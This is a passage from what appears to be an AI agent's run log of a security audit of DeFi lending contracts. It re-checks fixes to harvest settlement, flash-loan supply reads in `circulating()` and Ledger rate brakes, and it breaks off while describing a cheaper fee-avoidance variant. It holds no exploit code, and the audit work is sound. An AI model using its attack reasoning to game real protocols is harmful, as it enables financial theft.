sleeve checks equals what it pays. `settle` for auction types also checks `_requireUnhealthy` then settles. A third-party harvest can no longer flip a healthy position: the judgment already includes it. The only residue is price lock-in. A harvest at a momentary low `q.low` books a smaller credit than one at the recovered price, so the debt stays higher by yield-since-mark times the price gap. With a month of 4% yield and a 5% dip that is about 0.02% of debt, which I rate as not a finding.\n\n**2. M2, `circulating()`.** Nested loans share one `FLASH_START_SLOT` written only when `flashOutstanding()` is zero; sequential loans each rewrite it with the then-real supply, and between loans the supply is real. A minter burn inside a loan (Ledger repay, standing bid, keeper `withdraw`) cannot deflate it below the start. Real mints inside raise it correctly. The Redeemer reads before `burnFrom` for both `_fee` and the base-rate rise. The only remaining distortions are the two the README already lists: real burns inside a loan over-read by the burned amount (second order), and imdUSD borrowed elsewhere to repay, redeem and re-borrow. I found no new sequence.\n\n**3. Ledger lows.** The brake and the live line now bind the charged change (LedgerSettlement.sol:280-283); the premium rate holds at the chain's first change in both `setRate` (line 292) and the reopen path (Ledger.sol:242); the de-risking test (Ledger.sol:321) compares ratios correctly and skips the rebind. All three proofs pass. Next cheapest variant: a fresh id, which pays only the upfront fee at the type's average rate, and on a type where the borrower is nearly alone that average is the","treeHash":null,"usage":{"cachedInputTokens":1019054,"cost":{"source":"runtime","usdMicros":5716405},"inputTokens":226,"model":"claude-fable-5-1","outputTokens":36463,"runtime":"claude","turns":21,"wallClockMs":1185608}}],"verification":[]}